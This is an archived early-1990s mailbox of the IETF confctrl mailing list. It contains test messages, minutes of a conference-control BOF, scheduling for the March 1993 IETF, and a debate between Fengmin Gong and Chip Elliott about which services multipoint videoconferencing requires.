From postel  Tue Jun  2 13:07:31 1987
Date: Tue, 2 Jun 87 13:07:31 PDT
From: postel (Jon Postel)
Posted-Date: Tue, 2 Jun 87 13:07:31 PDT
Received-Date: Tue, 2 Jun 87 13:07:31 PDT
Message-Id: <8706022007.AA27547@venera.isi.edu>
Received: by venera.isi.edu (5.54/5.51)
	id AA27547; Tue, 2 Jun 87 13:07:31 PDT
To: autosys-interest
Subject: jons test 1


foo 1


From koda  Fri Dec  4 04:06:21 1992
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.65+local-6)
	id <AA10315>; Fri, 4 Dec 1992 12:07:56 -0800
Received: by quark.isi.edu (5.65c/5.61+local-9)
	id <AA24183>; Fri, 4 Dec 1992 12:06:21 -0800
Date: Fri, 4 Dec 1992 12:06:21 -0800
From: koda (Jim Koda)
Message-Id: <199212042006.AA24183@quark.isi.edu>
To: confctrl
Subject: test message

please ignore.

From cooper  Fri Dec  4 06:17:53 1992
Received: from zephyr.isi.edu by venera.isi.edu (5.65c/5.65+local-6)
	id <AA16631>; Fri, 4 Dec 1992 14:20:26 -0800
Received: from rwa.isi.edu by zephyr.isi.edu (5.65c/5.61+local-9)
	id <AA14878>; Fri, 4 Dec 1992 14:17:54 -0800
Message-Id: <199212042217.AA14878@zephyr.isi.edu>
To: confctrl
Cc: cooper
Subject: Test Message 1 to "confctrl"
Reply-To: cooper
Date: Fri, 04 Dec 92 14:17:53 PST
From: Ann Westine Cooper <cooper>


Hi,

This is a test.

Ann

From schooler  Fri Dec  4 07:19:39 1992
Received: from ecu.isi.edu by venera.isi.edu (5.65c/5.65+local-6)
	id <AA18682>; Fri, 4 Dec 1992 15:21:31 -0800
Date: Fri, 4 Dec 92 15:19:39 PST
From: schooler
Posted-Date: Fri, 4 Dec 92 15:19:39 PST
Message-Id: <9212042319.AA03972@ecu.isi.edu>
Received: by ecu.isi.edu (4.1/4.0.3-4)
	id <AA03972>; Fri, 4 Dec 92 15:19:39 PST
To: confctrl
Subject: mailing list now set up
Cc: schooler



As you can probably see from the previous test messages,
the confctrl@isi.edu mailing list is now operational.

Eve

From schooler  Tue Dec  8 03:56:01 1992
Received: from ecu.isi.edu by venera.isi.edu (5.65c/5.65+local-6)
	id <AA23751>; Tue, 8 Dec 1992 11:57:52 -0800
Date: Tue, 8 Dec 92 11:56:01 PST
From: schooler
Posted-Date: Tue, 8 Dec 92 11:56:01 PST
Message-Id: <9212081956.AA06617@ecu.isi.edu>
Received: by ecu.isi.edu (4.1/4.0.3-4)
	id <AA06617>; Tue, 8 Dec 92 11:56:01 PST
To: confctrl
Subject: Re: Minutes of Conf Ctrl BOF
Cc: schooler

I would like to post the notes to rem-conf and submit for the IETF 
proceedings.  Any final comments?

E.

----- Begin Included Message -----

From schooler@ISI.EDU Thu Dec  3 14:26:48 1992
Date: Thu, 3 Dec 92 14:26:34 PST
From: schooler@ISI.EDU
To: abel@bellcore.com, bmanning@rice.edu, deanb@apple.com, hans@sics.se,
        hgs@research.att.com, hoffman@eng.sun.com, jknowles@binky.arc.nasa.gov,
        nichols@apple.com, oj@pictel.com, osmund.desouza@att.com,
        perchik@athena.mit.edu, schooler@ISI.EDU, scotts@apple.com,
        turletti@sophia.inria.fr, wchang@nist.gov
Subject: Minutes of Conf Ctrl BOF
Cc: schooler@ISI.EDU

Hi,

I've taken notes from the conference control BOFs and massaged them
into minutes.  I'm bound to have taken some literary license, so
it would be especially useful for you to comment, critique, and/or
correct these ramblings (editting tips welcome too).  I would like 
to post a finalized version to rem-conf early next week; please provide 
feedback before then.

I would also like to solicit recommendations for a reference list of 
reading materials to familiarize people with conference control issues.  
For instance, Oliver mentioned that there are some CCITT documents we 
should have a look at.  There are several other reports that I can think 
of which describe conference control in the context of prototype conferencing 
tools and systems.  I can put together a preliminary list.  Please forward 
any suggestions.

The next task is to come up with a charter.  I will attempt to draw up a
draft and post for comment.  As always, all input and involvement levels 
are encouraged.  

Eve

p.s. - As discussed at the BOF, we are going to establish a separate 
mailing list, confctrl@isi.edu, sometime in the next day or so -- unless 
you think rem-conf will suit our needs.  Let me know what you think.


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

During the RemConf BOF, there was a quorum of individuals interested 
in what has been referred to as "conference control" or "connection 
management".  Subsequently we held two impromptu (i.e., previously 
unscheduled) BOF sessions to discuss what, if anything, we as a group 
might be able to contribute to the remote conferencing architecture 
effort.  Below are minutes from those sessions.  Thanks goes to Dean 
Blackketter for acting as scribe.

Although we will continue to post information of general interest
to the rem-conf mailing list, we have set up a more narrowly focused
mailing list, confctrl@isi.edu, for detailed discussions in the area 
of conference control.  To join the list, send a request to
confctrl-request@isi.edu.



                   Conference Control BOF
                      November 16 & 17
                    IETF, Washington, D.C.


One task of the initial BOF sessions was actually to find a suitable
definition for "conference control", since the topic has been bandied
about for some time in the Remote Conferencing BOF and the Audio/Video
Transport WG.  By broadly defining multimedia conferencing as
collaborations in two dimensions (members and media), we defined
conference control as the management and coordination of (multiple)
conference members in (multiple) media.

How does conference control pertain to the ongoing RemConf efforts for
an overall remote conferencing architecture, and in particular to the
developments in the AVT WG of a real-time transport protocol?  We
agreed that there is a need for a session layer control protocol to
perform higher layer functions than the protocol proposed in the AVT
WG.  For example, three aspects of conference control might include 
session, connection and configuration management; session management 
entails who is involved in a conference, connection management involves 
the topology of who is seeing whom in each media, and configuration 
management is the negotiation of differences in end-system capabilities.

We identified the beginnings of some design criteria for this protocol.  
First, it should be kept simple, yet extensible.  We would like for it
to accommodate a range of session styles -- beyond the unmoderated
sessions already available through vat, dvc, nv et al.  We also
recognized the need to separate short-term from long-term functionality
goals.

We brainstormed about which functions MUST be supported versus which we
would like to have supported.  It falls out of our definition for conference 
control that, at minimum, support is needed for both membership and media 
control.  Membership control might include admission policies (such as 
user identification, user payment, meeting sponsorship), whereas media 
control might encompass capability descriptions, synchronization policies, 
and floor control (media focus).  In both dimensions, session setup, 
maintenance and/or modification must be supported.

Other features deemed important but probably of lower priority included 
security (in the form of authentication and encryption), as well as feedback 
channels for bandwidth balancing.  We also listed outside services to which 
we expect a conference control protocol to interface: a suite of directory
services for cataloguing users, conferences, and shared devices; bandwidth 
allocation and reservation mechanisms; and a scheme for multicast address 
allocation.  Our assumption is that eventually these outside services will 
be available.

To understand the range of capabilities to support in a conference
control protocol, we explored the types of sessions that might arise.
Our wishlist included a continuum of session scenarios (although the
picture below only lists a sample from the full range and only crudely
approximates an ordering).  "Secure" variations on these meetings were
also discussed.

        impromptu 
         hallway
         meetings        classroom        seminar      pay-per-view

    |-------|-------|--------|-------|-------|-------|-------|-------|

   pt2pt       arch design         panel          lecture           TV 
   phone        review/          discussion/                     broadcast
    call     "quilting bee"   presidential debate

Observations made about the spectrum were that there are different types 
of participation (active and passive), that there are gradations of 
identification policies (known vs anonymous participants), that there may 
be extreme variations in the degree of interconnectivity among participants, 
etc.  

We discussed that for simplicity (and implementation) sake, we are likely
to need to select a small number of session types that the protocol should
support.  A rough break down into four general session models was presented:

  1. Point-to-point calls
  2. Small, tightly-controlled sessions: N-way interconnectivity 
  3. Medium-sized, loosely-controlled sessions: lighter-weight model
  4. Very large, fixed sessions: unidirectional broadcasts

There was discussion that other standards bodies (CCITT) have explored
issues in some aspects of connection control (for B-ISDN).  In addition, 
existing prototype conferencing tools should be examined for leads on 
tradeoffs regarding conference management.  


Attendees:
	Dean Blackketter	deanb@apple.com
	Wo Chang		wchang@nist.gov
	Osmand DeSouza		osmund.desouza@att.com
	Hans Eriksson		hans@sics.se
	Don Hoffman		hoffman@eng.sun.com
	Oliver Jones		oj@pictel.com
	Jim Knowles		jknowles@binky.arc.nasa.gov
	Bill Manning		bmanning@rice.edu
	Kathleen Nichols	nichols@apple.com
	Jim Perchik		perchik@athena.mit.edu
	Eve Schooler		schooler@.isi.edu
	Henning Schulzrinne	hgs@research.att.com
	Scott Stein		scotts@apple.com
	Thierry Turletti	turletti@sophia.inria.fr
	Abel Weinrib		abel@bellcore.com 


----- End Included Message -----


From leeks@cosmos.kaist.ac.kr  Mon Jan 11 08:15:49 1993
Received: from kum.kaist.ac.kr by venera.isi.edu (5.65c/5.65+local-7)
	id <AA17078>; Mon, 11 Jan 1993 08:15:49 -0800
Received: from cosmos.kaist.ac.kr by kum.kaist.ac.kr (4.1/KUM-0.1)
	id AA01922; Tue, 12 Jan 93 01:13:36 KST
Received: by cosmos.kaist.ac.kr (4.1/SMI-4.1)
	id AA06042; Tue, 12 Jan 93 01:12:08 KST
From: leeks@cosmos.kaist.ac.kr (Lee Ki Seob)
Message-Id: <9301111612.AA06042@cosmos.kaist.ac.kr>
Errors-To: Postmaster@cosmos.kaist.ac.kr
Subject: Subscribe me please......
To: confctrl-request
Date: Tue, 12 Jan 93 1:12:07 KST
Cc: confctrl
X-Mailer: ELM [version 2.3 PL11]

Dear mailing list manager !
Subscribe me please.

	email: leeks@cosmos.kaist.ac.kr

Thanks in advance.

-- 
Lee, Ki Seob
System Architecture Lab.
Computer Science Department, KAIST
Seoul, Republic of Korea

email:  leeks@cosmos.kaist.ac.kr
phone:  +82-2-962-8861 (Office)

From schooler  Wed Feb  3 07:29:51 1993
Received: from ecu.isi.edu by venera.isi.edu (5.65c/5.65+local-7)
	id <AA11361>; Wed, 3 Feb 1993 15:32:12 -0800
Date: Wed, 3 Feb 93 15:29:51 PST
From: schooler
Posted-Date: Wed, 3 Feb 93 15:29:51 PST
Message-Id: <9302032329.AA03454@ecu.isi.edu>
Received: by ecu.isi.edu (4.1/4.0.3-4)
	id <AA03454>; Wed, 3 Feb 93 15:29:51 PST
To: confctrl
Subject: Confctrl at March IETF
Cc: schooler


Hi,

I'm just getting organized for the March IETF in Columbus, and would
like some input.

I've scheduled one session for Tuesday morning and am having trouble
scheduling the second session.  Please let me know if a Thursday
morning session would work for you (that is of course if you are
planning to attend IETF).

The first session will be used for presentations about existing
conference control schemes.  Thus, I am interested in identifying
projects that have been influential or seminal in this area.  Please
forward me any ideas you might have, otherwise you will end up with my
own biased opinions :-)  On a related note, I would like to start a 
bibliography or recommended reading list on confctrl, so I am also soliciting 
information about your favorite readings.  I will try to assemble any
on-line documents in one place for easier access.

The second confctrl session will be for discussion of a strawman
framework/protocol, hopefully based on or extended by feedback from
the first session.  

Any and all comments welcome.

Eve

p.s. - I will post a wider call for input from rem-conf by mid-week next week.


From gong@concert.net  Thu Feb  4 07:58:21 1993
Received: from jazz.concert.net by venera.isi.edu (5.65c/5.65+local-7)
	id <AA20475>; Thu, 4 Feb 1993 09:58:54 -0800
Received: by jazz.concert.net (5.59/tas-concert/8-12-92)
	id AA21378; Thu, 4 Feb 93 12:58:21 -0500
From: Fengmin Gong <gong@concert.net>
Message-Id: <9302041758.AA21378@jazz.concert.net>
Subject: Re: Confctrl at March IETF
To: schooler
Date: Thu, 4 Feb 1993 12:58:21 -0500 (EST)
Cc: confctrl
In-Reply-To: <9302032329.AA03454@ecu.isi.edu> from "schooler@ISI.EDU" at Feb 3, 93 03:29:51 pm
X-Mailer: ELM [version 2.4 PL20]
Content-Type: text
Content-Length: 2477      

schooler@ISI.EDU wrote in a previous message:
>
>
>Hi,
>
>I'm just getting organized for the March IETF in Columbus, and would
>like some input.
>
>I've scheduled one session for Tuesday morning and am having trouble
>scheduling the second session.  Please let me know if a Thursday
>morning session would work for you (that is of course if you are
>planning to attend IETF).
>

According to the agenda sent out by Megan on Monday, there is
already a second session scheduled on Wednesday morning.  Anyway,
that time works for me.

>The first session will be used for presentations about existing
>conference control schemes.  Thus, I am interested in identifying
>projects that have been influential or seminal in this area.  Please
>forward me any ideas you might have, otherwise you will end up with my
>own biased opinions :-) 

Good idea.  I also feel that these presentations should focus on the
functionalities (or services) provided by the respective systems. The
reason is that we need to have a better understanding of the services
provided by existing systems and then define a set of general desirable
services, before we can do a good job on developing the conference ctrl
framework/protocols.  I read the summary from the last BOF session and
it seems to also suggest such a need.

> On a related note, I would like to start a 
>bibliography or recommended reading list on confctrl, so I am also soliciting 
>information about your favorite readings.  I will try to assemble any
>on-line documents in one place for easier access.
>

Another good idea, I will contribute what I can.

>The second confctrl session will be for discussion of a strawman
>framework/protocol, hopefully based on or extended by feedback from
>the first session.  
>
>Any and all comments welcome.
>
>Eve
>
>p.s. - I will post a wider call for input from rem-conf by mid-week next week.
>
>

Do you have some one that will create the first strawman?  I have compiled
a list of desirable conferencing services that can complement the spectrum
capabilities and session types from the last BOF.  I think we can identify
what we need in confctrl based on the capability of existing systems and 
the service requirements.  Of course, if there is already a strawman for
confctrl framework we can discuss it with respect to the service
requirements.

-- 
Fengmin Gong			E-mail: gong@concert.net
Network Research Engineer	Phone:  919 248-9214
MCNC Center for Communications  FAX:    919 248-1405

From schooler  Thu Feb  4 06:22:27 1993
Received: from ecu.isi.edu by venera.isi.edu (5.65c/5.65+local-7)
	id <AA00607>; Thu, 4 Feb 1993 14:24:47 -0800
Date: Thu, 4 Feb 93 14:22:27 PST
From: schooler
Posted-Date: Thu, 4 Feb 93 14:22:27 PST
Message-Id: <9302042222.AA03985@ecu.isi.edu>
Received: by ecu.isi.edu (4.1/4.0.3-4)
	id <AA03985>; Thu, 4 Feb 93 14:22:27 PST
To: gong@concert.net
Subject: Re: Confctrl at March IETF
Cc: confctrl, schooler

Hi,

>From: Fengmin Gong <gong@concert.net>:
>
>schooler@ISI.EDU wrote in a previous message:
>>
>>I'm just getting organized for the March IETF in Columbus, and would
>>like some input.
>>
>>I've scheduled one session for Tuesday morning and am having trouble
>>scheduling the second session.  Please let me know if a Thursday
>>morning session would work for you (that is of course if you are
>>planning to attend IETF).
>>
>
>According to the agenda sent out by Megan on Monday, there is
>already a second session scheduled on Wednesday morning.

Yes, but the schedule continues to get shuffled due to
conflicts with other sessions; we are still sorting this out.
Both sessions are only tentatively scheduled at this point.
I'm just trying to get a feel for who will still be around on Thursday,
if we move one of the sessions there.

>>The first session will be used for presentations about existing
>>conference control schemes.  Thus, I am interested in identifying
>>projects that have been influential or seminal in this area.  Please
>>forward me any ideas you might have, otherwise you will end up with my
>>own biased opinions :-) 
>
>Good idea.  I also feel that these presentations should focus on the
>functionalities (or services) provided by the respective systems. The
>reason is that we need to have a better understanding of the services
>provided by existing systems and then define a set of general desirable
>services, before we can do a good job on developing the conference ctrl
>framework/protocols.  

That is exactly the point of the presentations -- to figure out the set 
of functions or services the various systems consider (i) essential, 
(ii) useful but not central, or (iii) wishlist extensions.  It is likely
that after hearing about several different systems, we will have a better
sense of the general desirable services, as well as some of the
broader issues like operating environment, complexity, overall architecture, 
tradeoffs, assumptions, etc. 

>>The second confctrl session will be for discussion of a strawman
>>framework/protocol, hopefully based on or extended by feedback from
>>the first session.  
>
>Do you have some one that will create the first strawman?  

I was thinking that a strawman framework/protocol might be a result of
the first session, since we will have had a number of different 
reference points to compare and contrast.  However, between now and
the IETF, we can certainly brainstorm about it (the strawman,
as well as a strategy for making progress) via email.

As a guideline for individuals who will be presenting information 
about their confctrl experiences, I would like us to come
up with a template of questions that would help define the strawman.
For instance, a small number of leading questions that we could ask 
designers and implementors to get at the key issues behind conference control.

>I have compiled
>a list of desirable conferencing services that can complement the spectrum
>capabilities and session types from the last BOF.

By all means, let's hear about them (i.e., post a message). 

Eve

From gong@concert.net  Fri Feb  5 10:56:20 1993
Received: from jazz.concert.net by venera.isi.edu (5.65c/5.65+local-7)
	id <AA11704>; Fri, 5 Feb 1993 12:57:04 -0800
Received: by jazz.concert.net (5.59/tas-concert/8-12-92)
	id AA12560; Fri, 5 Feb 93 15:56:21 -0500
From: Fengmin Gong <gong@concert.net>
Message-Id: <9302052056.AA12560@jazz.concert.net>
Subject: Re: Confctrl at March IETF
To: schooler
Date: Fri, 5 Feb 1993 15:56:20 -0500 (EST)
Cc: gong@concert.net, confctrl
In-Reply-To: <9302042222.AA03985@ecu.isi.edu> from "schooler@ISI.EDU" at Feb 4, 93 02:22:27 pm
X-Mailer: ELM [version 2.4 PL20]
Content-Type: text
Content-Length: 3961      

Hi Eve,

Following up to our earlier discussion, here is a list of conference
services with some justification and discussion of related issues that I
have compiled. Let's have more discussions on this. 

Fengmin

----
The list is ordered so that the most essential services (i.e., from my 
own perspective) appear first:

o Setup, conferencing, and teardown of a point-to-point
  conference: This basic service will require: the setup of a simple
  point-to-point connection in the underlying network with performance
  guarantees, negotiation between two sites to agree on a common capability,
  transport of audio and video streams during conferencing, and termination
  of the conference session and release of all related resources. 

o Conference-room based conference and workstation based
  conference: While workstation based conferencing provides convenience by
  allowing people to participate in a conference at their own desks,
  conference-room based video conferencing can easily 
  accommodate multiple participants at each site and should prove to be
  efficient for many conferences.

o Multipoint conferences with different styles: Many remote conferences
  in practice involve participants from more than two sites.  
  There three major styles for multipoint conferencing (i.e., three points
  on the continuum identified in the last BOF) that have very different
  connection and session control requirements:

  * Brainstorming session where each participants are free to talk (with
    due courtesy, of course) and will be heard by all others.  Audio
    mixing and constant video presence of all participants to all others is
    required.  A many-to-many connection is required of the underlying network.
  * Organized presentation with questions.  In this style, a
    one-to-many connection with floating source locations is required.
    However, audio mixing and constant video presence of all participants to
    all others may not necessary.
  * Broadcast and entertainment video distribution.  Only a static
    one-to-many connection is required to support such conferences.

In addition to the connection and session control requirements, multipoint
conferencing also presents challenging problems in the areas of echo
cancellation, audio mixing, audio level calibration and
dynamic adjustment, and switching and display of multiple video streams.

o Dynamic session control: The ability to add and delete participants
  to and from an existing conference is highly desirable.  Such change of
  configuration may require modification to the underlying network connections.

o Conference directory:  A conference directory service that supports
  conference registration, announcement, and query will be very useful.  This
  directory will contain at least the following information:

  * Title and description of the conference.
  * Multicast address (if it is an open conference).
  * Start and end, date and time for a conference.
  * Participants list (if it is an open conference).
  * Audio coding schemes, protocols, and {\sc qos} requirements.
  * Video coding schemes, protocols, and {\sc qos} requirements.

o Automatic conference scheduling: Automatic scheduling of
  conferences will be very important when packet audio and video conferencing
  becomes ubiquitous.  The scheduling ability coupled with resource
  reservation mechanisms will allow efficient planning of network resources
  on a more global scale and thus provide different types of conference
  services at various cost, much like the long distance telephone services
  today (e.g., day time vs.\ evening and weekday vs.\ weekend).

o Automatic conference recording: Another useful service
  is the ability to record conference sessions as a multimedia
  document/proceeding. Such documents along with technical papers (i.e., in
  electronic form) can then be archived and accessed by a
  larger community than that of the conference participants.


From celliott@BBN.COM  Fri Feb  5 11:48:25 1993
Received: from KARIBA.BBN.COM by venera.isi.edu (5.65c/5.65+local-7)
	id <AA14166>; Fri, 5 Feb 1993 13:55:13 -0800
Message-Id: <199302052155.AA14166@venera.isi.edu>
Date:     Fri, 5 Feb 93 16:48:25 EST
From: Chip Elliott <celliott@BBN.COM>
To: confctrl
Subject:  Conference Services (DSI View)



Hi Eve and Fengmin and everyone,

Now I'll throw out my 2 cents' worth on conference service issues.
I'm approaching these questions as one who's just finishing up an
implementation designed for real customers (the DSI video sites).
This has both benefits and drawbacks -- I know exactly what
services I must provide and hence have very clear ideas; but on
the other hand, they may be too limited.

I toss them in because I think the design space contemplated in
this mailing list is rather different from the one I've been
working in.

Eve is quite familiar with DSI video-conferencing, but I'll
sketch it for others who are not.

OVERVIEW of DSI VideoConferencing
---------------------------------
We have about 30-40 sites worldwide with a special internet that
provides multicast and bandwidth reservation. Video sites have
specially prepared conference rooms with PictureTel codecs,
good mikes and speakers, echo cancellation equipment, and
Sun workstations for control. (There's quite a bit more hardware
too but it's not terribly relevant here.) New sites are being
added at the rate of 1 per week.

The network typically supports a few video conferences each
day. These are real working meetings, not technology demonstrations. 
We run the PictureTel codecs at 112kbits/sec with inband audio;
special hardware packetizes the codec data stream. Most conferences
have 2 or 3 sites; 4 is not too uncommon; larger ones are very rare.

Bandwidth reservation is a very important problem since each
codec chews up a fair amount of the network. At present, bandwidth
is centrally administered by people. An automated system seems
infeasible since certain customers are important enough that they
could "bump" others, but the ordering is by no means obvious.


Our Ideas of "Essential" Services
---------------------------------
I'll base this list on Fengmin's to keep some semblence of order here.
Our wishlist has distinctly different priorities than his, however.

o Setup, conferencing, and teardown of BOTH pt-pt and multipoint
  conferences. We absolutely must handle both.

o 2-3 site meetings are most common. But these are NOT "brainstorming";
  they are orderly business meetings.

o Dynamic session control is extremely important. In real meetings,
  some groups arrive 5-10 minutes late, equipment breaks, etc.
  These things must be accomodated. The other groups in a conference
  must not be left twiddling their thumbs; the meeting must start
  minus some participants, in hopes that they will join later.

o Sometimes meetings must be moderated, ie, one site will control
  who everyone looks at. Other times individual sites will choose
  who they see. Both must be accomodated.

o If the technology can support it, there might be some demand
  for larger meetings (eg 10 sites). These would undoubtedly be
  moderated; they might be lecture-type, or they might be
  round robin.


And a few things he didn't mention:

o Quality of Service. It must be, consistently, of near-VCR quality.
  Otherwise the whole system is pointless. Degradation of quality
  is unacceptable.

o Reliability and Robustness. Conferences are important meetings;
  they must continue as best they can in the presence of equipment
  failures, human error, etc. This is extremely high priority.

o Diagnostics. We must be able to track down and eliminate problems.
  (This has some impact on conference control protocol design, in my opinion.)

o Multicast and Bandwidth Reservation. 112kbit/sec n-way media streams
  are simply not feasible without this. And dropped packets are
  definitely a bad thing.

o Address Books. It must be easy to call up other sites.

o Names and titles of participants. We don't support this but
  we should. People sometimes get confused as to who/where they
  are looking, talking to, etc.


Things that are Not Important to Us
-----------------------------------
o Workstation-based videoconferencing. In fact, I think many
  of our users do not know how to use computers. They have
  technicians to do that for them.

o Media negotiation. Sites have relatively homogenous hardware.
  (This seems like the most likely thing to someday become important.)

o Broadcast.

o Conference directories. In fact, these are UNWELCOME. These
  are private meetings.

o Automatic conference scheduling. See above for rational.

o Automatic conference recording. VCRs do this just fine.
  No one has ever requested a recording of the multimedia
  aspect of a conference.



So, now I'll pose a question to you all. Are you designing
a researcher's conferencing system? I would argue that my list
of priorities above is similar those of anyone with real,
paying customers. Are such production-oriented systems
outside the design space you want to consider?

Cheers, and hope to see you at the BOF in Columbus,

-- Chip Elliott		celliott@bbn.com

From gong@concert.net  Mon Feb  8 04:58:26 1993
Received: from jazz.concert.net by venera.isi.edu (5.65c/5.65+local-7)
	id <AB02262>; Mon, 8 Feb 1993 06:58:21 -0800
Received: by jazz.concert.net (5.59/tas-concert/8-12-92)
	id AA27777; Mon, 8 Feb 93 09:58:27 -0500
From: Fengmin Gong <gong@concert.net>
Message-Id: <9302081458.AA27777@jazz.concert.net>
Subject: Re: Conference Services (DSI View)
To: celliott@BBN.COM (Chip Elliott)
Date: Mon, 8 Feb 1993 09:58:26 -0500 (EST)
Cc: confctrl, gong@concert.net (Fengmin Gong)
In-Reply-To: <199302052155.AA14166@venera.isi.edu> from "Chip Elliott" at Feb 5, 93 04:48:25 pm
X-Mailer: ELM [version 2.4 PL20]
Content-Type: text
Content-Length: 7456      

Chip Elliott wrote in a previous message:
>
>
>
>Hi Eve and Fengmin and everyone,
>
>Now I'll throw out my 2 cents' worth on conference service issues.
>I'm approaching these questions as one who's just finishing up an
>implementation designed for real customers (the DSI video sites).
>This has both benefits and drawbacks -- I know exactly what
>services I must provide and hence have very clear ideas; but on
>the other hand, they may be too limited.
>
>I toss them in because I think the design space contemplated in
>this mailing list is rather different from the one I've been
>working in.
>
>Eve is quite familiar with DSI video-conferencing, but I'll
>sketch it for others who are not.
>
>OVERVIEW of DSI VideoConferencing
>---------------------------------
>We have about 30-40 sites worldwide with a special internet that
>provides multicast and bandwidth reservation. Video sites have
>specially prepared conference rooms with PictureTel codecs,
>good mikes and speakers, echo cancellation equipment, and
>Sun workstations for control. (There's quite a bit more hardware
>too but it's not terribly relevant here.) New sites are being
>added at the rate of 1 per week.
>
>The network typically supports a few video conferences each
>day. These are real working meetings, not technology demonstrations. 
>We run the PictureTel codecs at 112kbits/sec with inband audio;
>special hardware packetizes the codec data stream. Most conferences
>have 2 or 3 sites; 4 is not too uncommon; larger ones are very rare.
>
>Bandwidth reservation is a very important problem since each
>codec chews up a fair amount of the network. At present, bandwidth
>is centrally administered by people. An automated system seems
>infeasible since certain customers are important enough that they
>could "bump" others, but the ordering is by no means obvious.
>

I agree that resource reservation is no simple task, but is not
infeasible and we need to address them now.  Of course, if many
people wants to use a shared network for conferencing, there must
be some way rationing the use and charging for bandwidth and "bumping"
privilage may be one way of doing that.

>
>Our Ideas of "Essential" Services
>---------------------------------
>I'll base this list on Fengmin's to keep some semblence of order here.
>Our wishlist has distinctly different priorities than his, however.
>
>o Setup, conferencing, and teardown of BOTH pt-pt and multipoint
>  conferences. We absolutely must handle both.
>
>o 2-3 site meetings are most common. But these are NOT "brainstorming";
>  they are orderly business meetings.

Well, 2-site meeting is pt-pt and 3-site orderly meeting can be 
considered as a special case for organized presentation style.  I
admit that I was thinking more of the underlying connection session
control requirements when I explicitly listed three styles, rather than
the high level distinctions (e.g., business meeting or a workshop
discussion).
 
>o Dynamic session control is extremely important. In real meetings,
>  some groups arrive 5-10 minutes late, equipment breaks, etc.
>  These things must be accomodated. The other groups in a conference
>  must not be left twiddling their thumbs; the meeting must start
>  minus some participants, in hopes that they will join later.
>
>o Sometimes meetings must be moderated, ie, one site will control
>  who everyone looks at. Other times individual sites will choose
>  who they see. Both must be accomodated.
>

Very good point.

>o If the technology can support it, there might be some demand
>  for larger meetings (eg 10 sites). These would undoubtedly be
>  moderated; they might be lecture-type, or they might be
>  round robin.
>
>
>And a few things he didn't mention:
>
>o Quality of Service. It must be, consistently, of near-VCR quality.
>  Otherwise the whole system is pointless. Degradation of quality
>  is unacceptable.
>
>o Reliability and Robustness. Conferences are important meetings;
>  they must continue as best they can in the presence of equipment
>  failures, human error, etc. This is extremely high priority.

Yes, these items should be explicitly specified as service items.
More appropriately, they should be specified as QOS/Reliability/Robustness
guarantees.

>
>o Diagnostics. We must be able to track down and eliminate problems.
>  (This has some impact on conference control protocol design, in my opinion.)
>

Yes, this is an essential service to provide.  Although the user for this
service may be different from users (participants) of conferences.

>o Multicast and Bandwidth Reservation. 112kbit/sec n-way media streams
>  are simply not feasible without this. And dropped packets are
>  definitely a bad thing.
>

This is a requirement implied by multipoint conferencing services.

>o Address Books. It must be easy to call up other sites.
>
>o Names and titles of participants. We don't support this but
>  we should. People sometimes get confused as to who/where they
>  are looking, talking to, etc.
>

This should be part of a directory service.  I think you probably assumed
that a directory is always a publicly accessible service.  It needs not
that way, particularly for conferences.  You may have items in the
directory that allows only restricted access or you may have private
directories.

>
>Things that are Not Important to Us
>-----------------------------------
>o Workstation-based videoconferencing. In fact, I think many
>  of our users do not know how to use computers. They have
>  technicians to do that for them.

Even if many of you users do not know how to use computers today, some
of them do and I think many more will tomorrow.  There is additional
advantages provided by workstation conferencing capability.  You can
have mixed workstation and conference-room based sites in one conference.

>
>o Media negotiation. Sites have relatively homogenous hardware.
>  (This seems like the most likely thing to someday become important.)
>
>o Broadcast.
>
>o Conference directories. In fact, these are UNWELCOME. These
>  are private meetings.
>

See rationale earlier.

>o Automatic conference scheduling. See above for rational.
>
>o Automatic conference recording. VCRs do this just fine.
>  No one has ever requested a recording of the multimedia
>  aspect of a conference.
>

I will be useful to get some feedback about the usefulness of this
for tomorrow.

>
>
>So, now I'll pose a question to you all. Are you designing
>a researcher's conferencing system? I would argue that my list
>of priorities above is similar those of anyone with real,
>paying customers. Are such production-oriented systems
>outside the design space you want to consider?
>

I am personally interested in a system that can serve both
reserchers and business executives.  I don't see fundamental difference
in the functionality requirement between these users.  As long as
resources (e.g., bandwidth) are not as plentiful as we want, there
must be some mechanism for determining who can and when to use the
available resources.  A business user may enjoy more previlage by paying
more, or using his or her dedicated links.  I think a more general set
of services should be identified first; if the technology prevents certain
services from being provided for now, nothing can be done about it.  But
nothing useful should be ruled out at this stage.

>Cheers, and hope to see you at the BOF in Columbus,
>
>-- Chip Elliott		celliott@bbn.com
>

Sure,

Fengmin




From schooler  Thu Feb 25 02:12:03 1993
Received: from elm.isi.edu by venera.isi.edu (5.65c/5.65+local-8)
	id <AA02944>; Thu, 25 Feb 1993 10:12:15 -0800
Date: Thu, 25 Feb 1993 10:12:03 -0800
From: schooler
Posted-Date: Thu, 25 Feb 1993 10:12:03 -0800
Message-Id: <199302251812.AA07010@elm.isi.edu>
Received: by elm.isi.edu (5.65c/4.0.3-4)
	id <AA07010>; Thu, 25 Feb 1993 10:12:03 -0800
To: confctrl
Subject: Re: BOF schedule for March IETF
Cc: schooler


>From: Fengmin Gong <gong@concert.net>
>Subject: BOF schedule in March...
>To: conf-ctrl@ISI.EDU
>Date: Thu, 25 Feb 1993 10:53:57 -0500 (EST)
>Cc: schooler@ISI.EDU

>Eve, have you figured out a final schedule for the BOF sessions 
>that will work for most of the people?

The confctrl BOF sessions are scheduled for:

	Tuesday, March 30    9:30-12:00 noon
	Wednesday, March 31  1:30-3:30pm

E.

From sree@frigg.iti.gov.sg  Thu Feb 25 18:18:39 1993
Received: from frigg.iti.gov.sg (thor.iti.gov.sg) by venera.isi.edu (5.65c/5.65+local-8)
	id <AA08758>; Thu, 25 Feb 1993 18:18:39 -0800
Message-Id: <199302260218.AA08758@venera.isi.edu>
Received: by frigg.iti.gov.sg
	(16.6/16.2) id AA00439; Fri, 26 Feb 93 10:20:44 +0800
From: Sreedharan Bhaskaran <sree@frigg.iti.gov.sg>
Subject: Subscription To Mailing List
To: rem-conf@es.net, confctrl
Date: Fri, 26 Feb 93 10:20:43 SST
Cc: sree@frigg.iti.gov.sg (Sreedharan Bhaskaran),
        vda@frigg.iti.gov.sg (Vijayadas Dharmadas Annamalay),
        lcs@frigg.iti.gov.sg (Liew Choon Siong),
        ypc@frigg.iti.gov.sg (Yee Poh Cheng)
X-Mailer: ELM [version 2.3 PL11]

Hello,

	We would like to be put on the mailing list. Our email addresses 
	are :

		sree@iti.gov.sg
		lcs@iti.gov.sg
